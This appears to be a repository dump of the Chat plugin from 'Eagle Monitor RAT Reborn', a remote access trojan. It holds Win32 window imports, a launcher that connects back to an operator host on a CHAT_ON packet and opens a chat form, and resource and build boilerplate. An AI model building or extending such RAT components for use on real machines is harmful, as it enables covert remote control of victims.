    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n  <!-- \n    Microsoft ResX Schema \n    \n    Version 2.0\n    \n    The primary goals of this format is to allow a simple XML format \n    that is mostly human readable. The generation and parsing of the \n    various data types are done through the TypeConverter classes \n    associated with the data types.\n    \n    Example:\n    \n    ... ado.net/XML headers & schema ...\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\n    <resheader name=\"version\">2.0</resheader>\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\n    </data>\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\n        <comment>This is a comment</comment>\n    </data>\n                \n    There are any number of \"resheader\" rows that contain simple \n    name/value pairs.\n    \n    Each data row contains a name, and value. The row also contains a \n    type or mimetype. Type corresponds to a .NET class that support \n    text/value conversion through the TypeConverter architecture. \n    Classes that don't support this are serialized and stored with the \n    mimetype set.\n    \n    The mimetype is used for serialized objects, and tells the \n    ResXResourceReader how to depersist the object. This is currently not \n    extensible. For a given mimetype the value must be set accordingly:\n    \n    Note - application/x-microsoft.net.object.binary.base64 is the format \n    that the ResXResourceWriter will generate, however the reader can \n    read any of the formats listed below.\n    \n    mimetype: application/x-microsoft.net.object.binary.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\n            : and then encoded with base64 encoding.\n    \n    mimetype: application/x-microsoft.net.object.soap.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\n            : and then encoded with base64 encoding.\n\n    mimetype: application/x-microsoft.net.object.bytearray.base64\n    value   : The object must be serialized into a byte array \n            : using a System.ComponentModel.TypeConverter\n            : and then encoded with base64 encoding.\n    -->\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\n    <xsd:import namespace=\"http://www.w3.org/XML/1998/namespace\" />\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\n      <xsd:complexType>\n        <xsd:choice maxOccurs=\"unbounded\">\n          <xsd:element name=\"metadata\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" use=\"required\" type=\"xsd:string\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"assembly\">\n            <xsd:complexType>\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"data\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" msdata:Ordinal=\"1\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"resheader\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\n            </xsd:complexType>\n          </xsd:element>\n        </xsd:choice>\n      </xsd:complexType>\n    </xsd:element>\n  </xsd:schema>\n  <resheader name=\"resmimetype\">\n    <value>text/microsoft-resx</value>\n  </resheader>\n  <resheader name=\"version\">\n    <value>2.0</value>\n  </resheader>\n  <resheader name=\"reader\">\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <resheader name=\"writer\">\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n</root>"
  },
  {
    "path": "Remote Access Tool/Plugins/Chat/Imports.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal static class Imports\n    {\n        #region \"user32\"\n        private const string user32 = \"user32.dll\";\n        [DllImport(user32)]\n        internal static extern int SetWindowCompositionAttribute(IntPtr hwnd, ref WindowCompositionAttributeData data);\n        [DllImport(user32)]\n        internal static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, Int32 X, Int32 Y, Int32 cx, Int32 cy, Int32 uFlags);\n\n        [DllImport(user32)]\n        internal static extern IntPtr PostMessage(IntPtr hWnd, WM_Message Msg, SC_Message wParam, IntPtr lParam);\n\n        public enum WM_Message : uint\n        {\n            WM_DESTROY = 0x2,\n            WM_CLOSE = 0x10,\n            WM_SYSCOMMAND = 0x112,\n            WM_SETTEXT = 0x000C,\n            WM_APPCOMMAND = 0x0319\n        }\n        public enum SC_Message : uint\n        {\n            NONE = 0,\n            SC_CLOSE = 0xF060,\n            SC_MAXIMIZE = 0xF030,\n            SC_MINIMIZE = 0xF020,\n            SC_RESTORE = 0xF120\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        public partial struct MARGINS\n        {\n            public int Left;\n            public int Right;\n            public int Top;\n            public int Bottom;\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        public struct WindowCompositionAttributeData\n        {\n            public WindowCompositionAttribute Attribute;\n            public IntPtr Data;\n            public int SizeOfData;\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        public struct AccentPolicy\n        {\n            public AccentState AccentState;\n            public int AccentFlags;\n            public int GradientColor;\n            public int AnimationId;\n        }\n\n        public enum WindowCompositionAttribute\n        {\n            WCA_UNDEFINED = 0,\n            WCA_NCRENDERING_ENABLED = 1,\n            WCA_NCRENDERING_POLICY = 2,\n            WCA_TRANSITIONS_FORCEDISABLED = 3,\n            WCA_ALLOW_NCPAINT = 4,\n            WCA_CAPTION_BUTTON_BOUNDS = 5,\n            WCA_NONCLIENT_RTL_LAYOUT = 6,\n            WCA_FORCE_ICONIC_REPRESENTATION = 7,\n            WCA_EXTENDED_FRAME_BOUNDS = 8,\n            WCA_HAS_ICONIC_BITMAP = 9,\n            WCA_THEME_ATTRIBUTES = 10,\n            WCA_NCRENDERING_EXILED = 11,\n            WCA_NCADORNMENTINFO = 12,\n            WCA_EXCLUDED_FROM_LIVEPREVIEW = 13,\n            WCA_VIDEO_OVERLAY_ACTIVE = 14,\n            WCA_FORCE_ACTIVEWINDOW_APPEARANCE = 15,\n            WCA_DISALLOW_PEEK = 16,\n            WCA_CLOAK = 17,\n            WCA_CLOAKED = 18,\n            WCA_ACCENT_POLICY = 19,\n            WCA_FREEZE_REPRESENTATION = 20,\n            WCA_EVER_UNCLOAKED = 21,\n            WCA_VISUAL_OWNER = 22,\n            WCA_HOLOGRAPHIC = 23,\n            WCA_EXCLUDED_FROM_DDA = 24,\n            WCA_PASSIVEUPDATEMODE = 25,\n            WCA_LAST = 26\n        }\n\n        public enum AccentState\n        {\n            ACCENT_DISABLED = 0,\n            ACCENT_ENABLE_GRADIENT = 1,\n            ACCENT_ENABLE_TRANSPARENTGRADIENT = 2,\n            ACCENT_ENABLE_BLURBEHIND = 3,\n            ACCENT_ENABLE_ACRYLICBLURBEHIND = 4,\n            ACCENT_ENABLE_HOSTBACKDROP = 5,\n            ACCENT_INVALID_STATE = 6\n        }\n\n        public const int HWND_BOTTOM = 1;\n        public const int HWND_NOTOPMOST = -2;\n        public const int HWND_TOP = 0;\n        public const int HWND_TOPMOST = -1;\n\n\n        public const Int32 SWP_NOSIZE = 0x1;\n        public const Int32 SWP_NOMOVE = 0x2;\n        public const Int32 SWP_NOREDRAW = 0x8;\n        public const Int32 SWP_DEFERERASE = 0x2000;\n        #endregion\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Chat/Launch.cs",
    "content": "﻿using PacketLib;\nusing PacketLib.Packet;\nusing PacketLib.Utils;\nusing System.Threading;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    public static class Launch\n    {\n        internal static ClientHandler clientHandler;\n\n        internal static ChatForm chatForm;\n        internal static Thread threadForm;\n\n        public static void Main(LoadingAPI loadingAPI)\n        {\n            switch (loadingAPI.CurrentPacket.PacketType)\n            {\n                case PacketType.CHAT_ON:\n                    clientHandler = new ClientHandler(loadingAPI.Host, loadingAPI.Key, loadingAPI.BaseIp, loadingAPI.HWID);\n                    clientHandler.ConnectStart();\n\n                    while (clientHandler.Connected == false)\n                        Thread.Sleep(100);\n\n                    threadForm = new Thread(Launch.StartChatForm);\n                    threadForm.SetApartmentState(ApartmentState.STA);\n                    threadForm.Start();\n\n                    break;\n\n                default:\n                    return;\n            }\n            Miscellaneous.CleanMemory();\n        }\n\n        internal static void StartChatForm()\n        {\n            Launch.chatForm = new ChatForm(\"Eagle Monitor RAT Reborn Chat\");\n            Launch.chatForm.InitializeComponent();\n            Application.Run(Launch.chatForm);\n        }\n\n        internal static void ExitChatForm() \n        {\n            clientHandler.Dispose();\n            chatForm.Invoke((MethodInvoker)(() =>\n            {\n                chatForm?.Close();\n                chatForm?.Dispose();\n            }));\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Chat/Properties/AssemblyInfo.cs",
    "content": "﻿using System.Reflection;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\n// Les informations générales relatives à un assembly dépendent de\n// l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations\n// associées à un assembly.\n[assembly: AssemblyTitle(\"Chat\")]\n[assembly: AssemblyDescription(\"\")]\n[assembly: AssemblyConfiguration(\"\")]\n[assembly: AssemblyCompany(\"\")]\n[assembly: AssemblyProduct(\"Chat\")]\n[assembly: AssemblyCopyright(\"Arsium © 2022\")]\n[assembly: AssemblyTrademark(\"\")]\n[assembly: AssemblyCulture(\"\")]\n\n// L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly\n// aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de\n// COM, affectez la valeur true à l'attribut ComVisible sur ce type.\n[assembly: ComVisible(false)]\n\n// Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM\n[assembly: Guid(\"773a4d23-189d-4353-bf37-515591e16f5a\")]\n\n// Les informations de version pour un assembly se composent des quatre valeurs suivantes :\n//\n//      Version principale\n//      Version secondaire\n//      Numéro de build\n//      Révision\n//\n// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut\n// en utilisant '*', comme indiqué ci-dessous :\n// [assembly: AssemblyVersion(\"1.0.*\")]\n[assembly: AssemblyVersion(\"3.2.4.0\")]\n[assembly: AssemblyFileVersion(\"3.2.4.0\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Chat/Properties/Resources.Designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\n// <auto-generated>\n//     Ce code a été généré par un outil.\n//     Version du runtime :4.0.30319.42000\n//\n//     Les modifications apportées à ce fichier peuvent provoquer un comportement incorrect et seront perdues si\n//     le code est régénéré.\n// </auto-generated>\n//------------------------------------------------------------------------------\n\nnamespace Plugin.Properties {\n    using System;\n    \n    \n    /// <summary>\n    ///   Une classe de ressource fortement typée destinée, entre autres, à la consultation des chaînes localisées.\n    /// </summary>\n    // Cette classe a été générée automatiquement par la classe StronglyTypedResourceBuilder\n    // à l'aide d'un outil, tel que ResGen ou Visual Studio.\n    // Pour ajouter ou supprimer un membre, modifiez votre fichier .ResX, puis réexécutez ResGen\n    // avec l'option /str ou régénérez votre projet VS.\n    [global::System.CodeDom.Compiler.GeneratedCodeAttribute(\"System.Resources.Tools.StronglyTypedResourceBuilder\", \"17.0.0.0\")]\n    [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]\n    [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]\n    internal class Resources {\n        \n        private static global::System.Resources.ResourceManager resourceMan;\n        \n        private static global::System.Globalization.CultureInfo resourceCulture;\n        \n        [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute(\"Microsoft.Performance\", \"CA1811:AvoidUncalledPrivateCode\")]\n        internal Resources() {\n        }\n        \n        /// <summary>\n        ///   Retourne l'instance ResourceManager mise en cache utilisée par cette classe.\n        /// </summary>\n        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]\n        internal static global::System.Resources.ResourceManager ResourceManager {\n            get {\n                if (object.ReferenceEquals(resourceMan, null)) {\n                    global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager(\"Plugin.Properties.Resources\", typeof(Resources).Assembly);\n                    resourceMan = temp;\n                }\n                return resourceMan;\n            }\n        }\n        \n        /// <summary>\n        ///   Remplace la propriété CurrentUICulture du thread actuel pour toutes\n        ///   les recherches de ressources à l'aide de cette classe de ressource fortement typée.\n        /// </summary>\n        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]\n        internal static global::System.Globalization.CultureInfo Culture {\n            get {\n                return resourceCulture;\n            }\n            set {\n                resourceCulture = value;\n            }\n        }\n        \n        /// <summary>\n        ///   Recherche une ressource localisée de type System.Drawing.Bitmap.\n        /// </summary>\n        internal static System.Drawing.Bitmap eagle2 {\n            get {\n                object obj = ResourceManager.GetObject(\"eagle2\", resourceCulture);\n                return ((System.Drawing.Bitmap)(obj));\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Chat/Properties/Resources.resx",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n  <!-- \n    Microsoft ResX Schema \n    \n    Version 2.0\n    \n    The primary goals of this format is to allow a simple XML format \n    that is mostly human readable. The generation and parsing of the \n    various data types are done through the TypeConverter classes \n    associated with the data types.\n    \n    Example:\n    \n    ... ado.net/XML headers & schema ...\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\n    <resheader name=\"version\">2.0</resheader>\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\n    </data>\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\n        <comment>This is a comment</comment>\n    </data>\n                \n    There are any number of \"resheader\" rows that contain simple \n    name/value pairs.\n    \n    Each data row contains a name, and value. The row also contains a \n    type or mimetype. Type corresponds to a .NET class that support \n    text/value conversion through the TypeConverter architecture. \n    Classes that don't support this are serialized and stored with the \n    mimetype set.\n    \n    The mimetype is used for serialized objects, and tells the \n    ResXResourceReader how to depersist the object. This is currently not \n    extensible. For a given mimetype the value must be set accordingly:\n    \n    Note - application/x-microsoft.net.object.binary.base64 is the format \n    that the ResXResourceWriter will generate, however the reader can \n    read any of the formats listed below.\n    \n    mimetype: application/x-microsoft.net.object.binary.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\n            : and then encoded with base64 encoding.\n    \n    mimetype: application/x-microsoft.net.object.soap.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\n            : and then encoded with base64 encoding.\n\n    mimetype: application/x-microsoft.net.object.bytearray.base64\n    value   : The object must be serialized into a byte array \n            : using a System.ComponentModel.TypeConverter\n            : and then encoded with base64 encoding.\n    -->\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\n    <xsd:import namespace=\"http://www.w3.org/XML/1998/namespace\" />\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\n      <xsd:complexType>\n        <xsd:choice maxOccurs=\"unbounded\">\n          <xsd:element name=\"metadata\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" use=\"required\" type=\"xsd:string\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"assembly\">\n            <xsd:complexType>\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"data\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" msdata:Ordinal=\"1\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"resheader\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\n            </xsd:complexType>\n          </xsd:element>\n        </xsd:choice>\n      </xsd:complexType>\n    </xsd:element>\n  </xsd:schema>\n  <resheader name=\"resmimetype\">\n    <value>text/microsoft-resx</value>\n  </resheader>\n  <resheader name=\"version\">\n    <value>2.0</value>\n  </resheader>\n  <resheader name=\"reader\">\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <resheader name=\"writer\">\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <assembly alias=\"System.Windows.Forms\" name=\"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\" />\n  <data name=\"eagle2\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\eagle2.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>\n  </data>\n</root>"
  },
  {
    "path": "Remote Access Tool/Plugins/Chat/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Chat/obj/Release/Chat.csproj.CoreCompileInputs.cache",
    "content": "378fd228abd525a11ee370b3c55b543ffcd07053\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Chat/obj/Release/Chat.csproj.FileListAbsolute.txt",
    "content": "D:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Release\\Plugins\\Chat.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Chat\\obj\\Release\\Chat.csproj.AssemblyReference.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Chat\\obj\\Release\\Chat.csproj.CoreCompileInputs.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Chat\\obj\\Release\\Chat.csproj.Fody.CopyLocal.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Chat\\obj\\Release\\Chat.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Chat\\obj\\Release\\Plugin.ChatForm.resources\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Chat\\obj\\Release\\EagleMonitor.Controls.FormPattern.resources\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Chat\\obj\\Release\\Chat.csproj.GenerateResource.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Chat\\obj\\Release\\Plugin.Properties.Resources.resources\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Chat\\obj\\Release\\Chat.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Chat\\obj\\Release\\Plugin.ChatForm.resources\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Chat\\obj\\Release\\EagleMonitor.Controls.FormPattern.resources\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Chat\\obj\\Release\\Plugin.Properties.Resources.resources\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Chat\\obj\\Release\\Chat.csproj.GenerateResource.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Chat\\obj\\Release\\Chat.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Chat\\obj\\Release\\Chat.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Release\\Plugins\\Chat.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Chat\\obj\\Release\\Chat.csproj.Fody.CopyLocal.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\Chat.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\Plugin.ChatForm.resources\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\EagleMonitor.Controls.FormPattern.resources\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\Plugin.Properties.Resources.resources\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\Chat.csproj.GenerateResource.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\Chat.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\Chat.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Chat.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\Chat.csproj.Fody.CopyLocal.cache\nC:\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Chat.dll\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\Chat.csproj.AssemblyReference.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\Plugin.ChatForm.resources\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\EagleMonitor.Controls.FormPattern.resources\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\Plugin.Properties.Resources.resources\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\Chat.csproj.GenerateResource.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\Chat.csproj.CoreCompileInputs.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\Chat.csproj.Fody.CopyLocal.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\Chat.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Chat.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\Chat.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\Plugin.ChatForm.resources\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\EagleMonitor.Controls.FormPattern.resources\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\Plugin.Properties.Resources.resources\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\Chat.csproj.GenerateResource.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\Chat.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\Chat.csproj.Fody.CopyLocal.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\Chat.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Chat.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\Chat.csproj.AssemblyReference.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\Plugin.ChatForm.resources\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\EagleMonitor.Controls.FormPattern.resources\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\Plugin.Properties.Resources.resources\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\Chat.csproj.GenerateResource.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\Chat.csproj.CoreCompileInputs.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\Chat.csproj.Fody.CopyLocal.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\Chat.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Chat.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\Chat.csproj.AssemblyReference.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\Plugin.ChatForm.resources\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\EagleMonitor.Controls.FormPattern.resources\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\Plugin.Properties.Resources.resources\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\Chat.csproj.GenerateResource.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\Chat.csproj.CoreCompileInputs.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\Chat.csproj.Fody.CopyLocal.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Chat\\obj\\Release\\Chat.dll\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Chat/obj/Release/Chat.csproj.Fody.CopyLocal.cache",
    "content": ""
  },
  {
